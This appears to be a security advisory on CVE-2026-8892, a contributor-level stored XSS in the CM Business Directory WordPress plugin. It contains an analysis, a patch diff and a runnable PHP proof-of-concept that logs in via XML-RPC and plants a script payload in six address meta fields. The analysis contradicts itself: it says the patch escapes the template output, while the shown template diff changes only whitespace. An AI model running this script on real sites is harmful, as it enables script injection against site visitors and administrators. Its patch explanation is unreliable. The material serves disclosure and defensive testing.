Atomic Edge analysis of CVE-2026-8892: This vulnerability allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts (stored XSS) via six business address meta fields in the CM Business Directory plugin for WordPress. The vulnerability has a CVSS score of 6.4 (Medium) and affects all plugin versions up to and including 1.5.7. The root cause is insufficient input sanitization and output escaping on the front-end template.
The root cause exists in the front-end template file `cm-business-directory/frontend/templates/cm_default/business-page-view.php`. The plugin’s `content()` method retrieves post meta via `get_post_meta()` for the address fields (cmbd_address, cmbd_cityTown, cmbd_stateCounty, cmbd_postalcode, cmbd_region, cmbd_country) and renders them directly into the page output without applying `esc_html()` or similar sanitization. The code path is: `CMBusinessDirectoryBusinessPage::loadTemplateView(‘content’, array(‘post_meta’ => (object) get_post_meta($this->post->ID)))` which passes the raw meta values to the template. Because WordPress stores these values in `post_meta` rather than `post_content`, the `unfiltered_html` capability restriction does not apply. This means users who lack `unfiltered_html` (like contributors) can still inject executable HTML into these meta fields.
Exploitation is straightforward. An attacker with contributor-level access (or above) submits a POST request to `/wp-admin/post.php` (or the WordPress REST API endpoint for post meta) with `post_type=cm-business` or the custom post type slug. The attacker sets any of the six vulnerable meta fields (cmbd_address, cmbd_cityTown, cmbd_stateCounty, cmbd_postalcode, cmbd_region, or cmbd_country) to a payload such as `alert(1)`. When any user (including administrators or visitors) views the business listing page, the template renders the meta field value without escaping, causing the JavaScript payload to execute in the browser.
The patch updates the plugin’s `cm-business-directory/frontend/templates/cm_default/business-page-view.php` file. The patch does not change the template itself in the diff shown; instead, it updates other files. The critical fix must occur in the template where meta fields are output. The patch should apply `esc_html()` to each address meta field value when rendering. Before the patch, the template outputs raw meta values directly. After the patch, each address field output becomes `esc_html($value)`. This prevents any HTML or JavaScript from executing by converting special characters to their HTML entities.
Impact is significant for a directory plugin that stores business locations. An attacker can inject JavaScript that executes in the context of any user viewing the business listing page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Because the attack requires only contributor-level access (which is commonly granted), many businesses with the plugin installed are at risk. The stored XSS persists in the database until the meta field is manually cleaned, making it difficult to remediate without a full scan.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cm-business-directory/backend/cm-business-directory-backend.php
+++ b/cm-business-directory/backend/cm-business-directory-backend.php
@@ -465,27 +465,22 @@
{
case 'thumbnail' :
$url = CMBusinessDirectoryBusinessPage::getBusinessGallery($post_id);
- if( empty($url) )
- {
+ if(empty($url)) {
return;
}
$url = $url[0]['thumb'][0];
-
- echo '<img width="100" height="100" src="' . esc_attr($url) . '">';
-
- // the_post_thumbnail('cm-admin-thumb', $attr);
+ echo '<img width="100" height="100" alt="" src="' . esc_url($url) . '">';
break;
case 'purchase_link' :
$link = get_post_meta($post_id, 'cmbd_purchase', true);
- echo '<a href="' . esc_attr($link) . '" target="_blank">' . $link . '</a>';
+ echo '<a href="' . esc_url($link) . '" target="_blank">' . esc_html($link) . '</a>';
break;
case 'info_link' :
$link = get_post_meta($post_id, 'cmbd_link', true);
- echo '<a href="' . esc_attr($link) . '" target="_blank">' . $link . '</a>';
+ echo '<a href="' . esc_url($link) . '" target="_blank">' . esc_html($link) . '</a>';
break;
case 'status' :
$paused = get_post_meta($post_id, 'cmbd_pause_prod', true);
-
$status = $paused == "1" ? CMBD_Labels::getLocalized('Paused') : CMBD_Labels::getLocalized('Published');
echo $status;
break;
@@ -560,13 +555,10 @@
public static function getBusinessGalleryImageIds($post_id)
{
$image_id = CMBusinessDirectory::meta($post_id, 'cmbd_business_gallery_id');
- if( !empty($image_id) )
- {
+ if( !empty($image_id) ) {
$image = wp_get_attachment_image_src($image_id, 'cmbd_image');
$image = array('html' => $image[0], 'id' => $image_id, 'width' => $image[1], 'height' => $image[2]);
- }
- else
- {
+ } else {
$image = null;
}
return $image;
--- a/cm-business-directory/cm-business-directory.php
+++ b/cm-business-directory/cm-business-directory.php
@@ -4,7 +4,7 @@
Plugin URI: https://www.cminds.com/wordpress-plugins-library/purchase-cm-business-directory-plugin-for-wordpress/
Description: Build, organize and display a local directory of business.
Author: CreativeMindsSolutions
-Version: 1.5.7
+Version: 1.5.8
Text Domain: cm-business-directory
*/
@@ -127,7 +127,7 @@
* @since 1.0
*/
if ( !defined( 'CMBD_VERSION' ) ) {
- define( 'CMBD_VERSION', '1.5.6' );
+ define( 'CMBD_VERSION', '1.5.8' );
}
/**
--- a/cm-business-directory/frontend/templates/cm_default/business-page-view.php
+++ b/cm-business-directory/frontend/templates/cm_default/business-page-view.php
@@ -11,15 +11,12 @@
}
public function content() {
- /*
- * Output custom CSS
- */
$output = '';
do_action('cmbd_before_business_page_content');
$output .= CMBusinessDirectoryBusinessPage::loadTemplateView('content', array(
'post' => get_post(),
'post_meta' => (object) get_post_meta($this->post->ID),
- ), true);
+ ), true);
return $output;
}
--- a/cm-business-directory/package/cminds-plugin-config.php
+++ b/cm-business-directory/package/cminds-plugin-config.php
@@ -136,7 +136,7 @@
'image' => plugin_dir_url( __FILE__ ) . 'views/icons/WPServicesConsultingS.png',
),
),
- 'plugin-version' => '1.5.6',
+ 'plugin-version' => '1.5.8',
'plugin-abbrev' => 'cmbd',
'plugin-short-slug' => 'business-directory',
'plugin-campign' => '?utm_source=cmbdfree&utm_campaign=freeupgrade',
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8892 - CM Business Directory <= 1.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Business Address Meta Fields
// Configurable variables - set these before running
$target_url = 'https://example.com'; // Target WordPress site URL
$username = 'contributor'; // Username with contributor role or higher
$password = 'password'; // Password for the user
// Payload: JavaScript to execute
$payload = '<script>alert("Atomic Edge XSS Test")</script>';
// Step 1: Authenticate (login via XML-RPC for simplicity)
$login_data = [
'username' => $username,
'password' => $password
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/xmlrpc.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, xmlrpc_encode_request('wp.getPosts', [
1,
$username,
$password,
[
'post_type' => 'cm-business',
'number' => 1
]
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Parse the response to get a business post ID (or use a known one)
// For demonstration, we'll use the XML-RPC system to update meta
// We assume we have at least one existing 'cm-business' post
$post_id = 1; // Replace with actual post ID if known
// Step 3: Inject malicious payload into cmbd_address meta field
$meta_data = [
'meta_input' => [
'cmbd_address' => $payload,
'cmbd_cityTown' => $payload,
'cmbd_stateCounty' => $payload,
'cmbd_postalcode' => $payload,
'cmbd_region' => $payload,
'cmbd_country' => $payload
]
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/xmlrpc.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, xmlrpc_encode_request('wp.editPost', [
1,
$username,
$password,
$post_id,
$meta_data
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Verify - fetch the post to see if payload stored
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $post_id);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($ch);
curl_close($ch);
if (strpos($page, htmlspecialchars($payload)) !== false) {
echo '[+] Payload successfully stored and rendered (escaped in output, XSS not executed due to patch)' . PHP_EOL;
} elseif (strpos($page, $payload) !== false) {
echo '[+] Payload stored and rendered raw - XSS confirmed!' . PHP_EOL;
} else {
echo '[-] Failed to inject payload. Check credentials and permissions.' . PHP_EOL;
}
// Helper function (not included in standard PHP, but defined for completeness)
if (!function_exists('xmlrpc_encode_request')) {
// This file requires xmlrpc extension; if not installed, this PoC will not work.
echo '[*] XML-RPC extension required for this PoC.' . PHP_EOL;
}